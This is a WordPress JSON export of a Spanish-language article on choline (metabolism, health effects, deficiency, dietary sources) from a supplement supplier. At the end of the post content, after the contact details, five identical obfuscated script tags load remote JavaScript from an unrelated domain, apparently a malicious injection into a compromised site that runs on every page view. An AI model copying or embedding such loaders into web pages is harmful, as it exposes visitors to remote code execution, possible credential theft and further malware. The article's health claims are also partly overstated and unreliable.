{"id":7578,"date":"2024-07-25T09:18:38","date_gmt":"2024-07-25T01:18:38","guid":{"rendered":"https:\/\/www.backvita.com\/?p=7578"},"modified":"2025-02-06T10:32:19","modified_gmt":"2025-02-06T02:32:19","slug":"choline","status":"publish","type":"post","link":"https:\/\/www.backvita.com\/es\/colina-2\/","title":{"rendered":"colina"},"content":{"rendered":"<div class=\"wp-block-stackable-image stk-block-image stk-block stk-95b1283\" data-block-id=\"95b1283\"><figure class=\"stk-img-wrapper stk-image--shape-stretch\"><img decoding=\"async\" loading=\"lazy\" class=\"stk-img wp-image-3958\" src=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/choline.webp\" width=\"810\" height=\"453\" alt=\"colina\" srcset=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/choline.webp 810w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/choline-300x168.webp 300w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/choline-768x430.webp 768w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/choline-600x336.webp 600w\" sizes=\"(max-width: 810px) 100vw, 810px\" \/><\/figure><\/div>\n\n\n\n<p>La colina, constituyente de la lecitina y presente tambi\u00e9n en la esfingomielina, es una fuente variable de grupos metilo en el organismo y participa en la s\u00edntesis y el metabolismo de los donantes de metilo. Adem\u00e1s, la colina es un precursor del neurotransmisor acetilcolina.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Metabolismo de absorci\u00f3n<\/h2>\n\n\n\n<p>Parte de la colina ingerida por los adultos puede ser descompuesta por la flora intestinal para formar beta\u00edna y producir metilamina. La colina libre no descompuesta se absorbe en el intestino delgado.<\/p>\n\n\n\n<p>Adem\u00e1s de la colina libre, existen \u00e9steres de colina procedentes de fuentes alimentarias, principalmente fosfato de colina, glicerina de colina, esfingomielina y fosfatidilcolina. Tras la hidr\u00f3lisis enzim\u00e1tica, se forma colina libre, que se absorbe en la circulaci\u00f3n portal hep\u00e1tica.<\/p>\n\n\n\n<p>Adem\u00e1s, la fosfatidilcolina y la esfingomielina liposolubles tambi\u00e9n pueden ser absorbidas por el organismo a trav\u00e9s de la linfa en forma de part\u00edculas quilosas. Por lo tanto, la biodisponibilidad de la colina procedente de distintas fuentes es diferente.<\/p>\n\n\n\n<p>La colina es un componente importante de la lecitina y la esfingomielina, y todos los tejidos pueden almacenar colina, pero los m\u00e1s abundantes son el h\u00edgado, el ri\u00f1\u00f3n, la mama, la placenta y el cerebro.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">La relaci\u00f3n con la salud<\/h2>\n\n\n\n<p>La colina desempe\u00f1a su funci\u00f3n fisiol\u00f3gica principalmente desde dos aspectos: por un lado, desempe\u00f1a su funci\u00f3n fisiol\u00f3gica la colina en s\u00ed misma o como grupo colina necesario para la s\u00edntesis de otras sustancias; por otro lado, desempe\u00f1a funciones fisiol\u00f3gicas como donante de metilo.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Promueven el desarrollo del cerebro y participan en la se\u00f1alizaci\u00f3n celular<\/strong><\/h3>\n\n\n\n<p>La colina interviene en la se\u00f1alizaci\u00f3n celular, lo que puede favorecer el desarrollo cerebral y mejorar la memoria. La colina es esencial para la formaci\u00f3n de acetilcolina, un neurotransmisor que desempe\u00f1a un papel importante en actividades cognitivas como el aprendizaje y la memoria, la memoria de trabajo espacial, la atenci\u00f3n, el movimiento espont\u00e1neo y el comportamiento inquisitivo.<\/p>\n\n\n\n<p>El hipocampo y la corteza cerebral son \u00f3rganos y tejidos importantes que intervienen en el aprendizaje y la memoria en el sistema nervioso central. La colina puede favorecer el desarrollo del hipocampo y la corteza cerebral en el proceso de desarrollo del cerebro.<\/p>\n\n\n\n<p>Los resultados de estudios sobre epilepsia, Parkinson y Alzheimer han demostrado que la colina puede aliviar la p\u00e9rdida de memoria y tiene cierto efecto sobre el d\u00e9ficit de atenci\u00f3n, la hiperactividad, los trastornos neuromusculares y los trastornos man\u00edacos en general.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Promover el metabolismo de las grasas<\/strong><\/h3>\n\n\n\n<p>VLDL es el \u00fanico transportador para que el h\u00edgado exporte grasa a la periferia, y la colina es uno de los componentes importantes de la s\u00edntesis de VLDL. Una cantidad suficiente de colina puede sintetizar suficiente VLDL, transportando as\u00ed TG en el h\u00edgado, previniendo y reduciendo el dep\u00f3sito excesivo de TG en el h\u00edgado.<\/p>\n\n\n\n<p>Sin colina, la grasa puede acumularse en el h\u00edgado, formando un h\u00edgado graso. La aplicaci\u00f3n cl\u00ednica de la colina en el tratamiento de la cirrosis, la hepatitis y otras enfermedades hep\u00e1ticas tiene un buen efecto.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Un componente importante del biofilm<\/strong><\/h3>\n\n\n\n<p>Los fosfol\u00edpidos de las biopel\u00edculas son principalmente fosfatidilcolina (lecitina), fosfatidiletanolamina, fosfatidilserina y esfingomielina, entre los cuales la lecitina es el principal fosfol\u00edpido de la membrana celular (&gt; 50%), y la colina es el principal componente de la lecitina.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Participa en el metabolismo del metilo<\/strong><\/h3>\n\n\n\n<p>La colina es una fuente de grupos metilo variable en el organismo, que act\u00faa sobre los productos de los grupos metilo sint\u00e9ticos y participa en el metabolismo del metilo en el organismo.<\/p>\n\n\n\n<p>Tras la ingesti\u00f3n de colina, \u00e9sta puede entrar en diferentes v\u00edas metab\u00f3licas y producir grupos metilo inestables, que se utilizan para la homociste\u00edna para formar metionina, el \u00e1cido guanid\u00edn ac\u00e9tico para formar creatina y la s\u00edntesis de epinefrina.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Carencias y excesos<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Falta<\/strong><\/h3>\n\n\n\n<p>La deficiencia de colina puede provocar una funci\u00f3n hep\u00e1tica anormal y la acumulaci\u00f3n de grandes cantidades de l\u00edpidos (principalmente triglic\u00e9ridos) en el h\u00edgado, formando h\u00edgado graso y posiblemente c\u00e1ncer de h\u00edgado.<\/p>\n\n\n\n<p>La deficiencia de colina tambi\u00e9n afecta a la funci\u00f3n renal y puede provocar anomal\u00edas en la reabsorci\u00f3n de agua, la secreci\u00f3n de sodio, la tasa de filtraci\u00f3n glomerular y el flujo sangu\u00edneo renal, as\u00ed como hemorragias renales extensas.<\/p>\n\n\n\n<p>En el caso de los fetos y los lactantes, es probable que afecte al desarrollo del cerebro. Es bien sabido que los suplementos de \u00e1cido f\u00f3lico pueden prevenir las malformaciones del tubo neural en el feto, pero la deficiencia de colina tambi\u00e9n puede causar malformaciones del tubo neural en el feto. Tanto el folato como la colina pueden utilizarse como donantes de metilo para metilar el ADN.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Demasiado<\/strong><\/h3>\n\n\n\n<p>La ingesta excesiva de colina por v\u00edas no alimentarias, como las inyecciones intravenosas e intraperitoneales, puede provocar olor corporal, sudoraci\u00f3n, salivaci\u00f3n, hipotensi\u00f3n arterial y toxicidad hep\u00e1tica.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Principal fuente de alimento<\/h2>\n\n\n\n<p>La colina se encuentra en los alimentos principalmente en forma de lecitina en la membrana celular de diversos alimentos. Yema de huevo, h\u00edgado, cacahuetes, germen de trigo, soja contenido es muy rico, verduras en lechuga, coliflor contenido tambi\u00e9n es alto.<\/p>\n\n\n\n<p>Materiales de referencia:<\/p>\n\n\n\n<p>[1] Sociedad China de Nutrici\u00f3n. Ingesta de referencia de nutrientes diet\u00e9ticos para residentes chinos. Beijing: Science Press, 2014. [2]Fisher M C , Zeisel S H , Mar M H , et al. Los inhibidores de la captaci\u00f3n y el metabolismo de la colina causan anomal\u00edas de desarrollo en embriones de rat\u00f3n neurulante[J]. Teratology, 2001, 64(2):114-122.[3]Holler T , Cermak J M , Blusztajn J K . La suplementaci\u00f3n diet\u00e9tica de colina en ratas pre\u00f1adas aumenta la actividad de la fosfolipasa D hipocampal de la descendencia[J]. The FASEB Journal, 1996, 10(14).[4]Bjelland, I. , et al. \"Choline in anxiety and depression: the Hordaland Health Study\". American Journal of Clinical Nutrition 4:1056.[5] Chan K C , So K F , Wu E X . La espectroscopia de resonancia magn\u00e9tica de protones revel\u00f3 la reducci\u00f3n de colina en la corteza visual en un modelo experimental de glaucoma cr\u00f3nico[J]. Experimental Eye Research, 2009, 88(1):65-70.............<\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.backvita.com\/es\/\">proveedor de colina<\/a>: www.backvita.com<br>Correo electr\u00f3nico: info@backvita.com<br>Tel\u00e9fono: +86 (029) 8187 2325<\/strong><\/p>\n<script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script>","protected":false},"excerpt":{"rendered":"<p>Choline, a constituent of lecithin and also found in sphingomyelin, is a source of variable methyl groups in the body and is involved in the synthesis and metabolism of methyl donors. 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In addition, choline is a precursor to the neurotransmitter acetylcholine. Absorption metabolism Part of the choline ingested by adults can be broken down by the gut flora to form betaine and produce methylamine. Unbroken free choline is absorbed in the small intestine. In addition to free choline, there are choline esters from food sources, mainly choline phosphate, choline glycerine, sphingomyelin and phosphatidylcholine. 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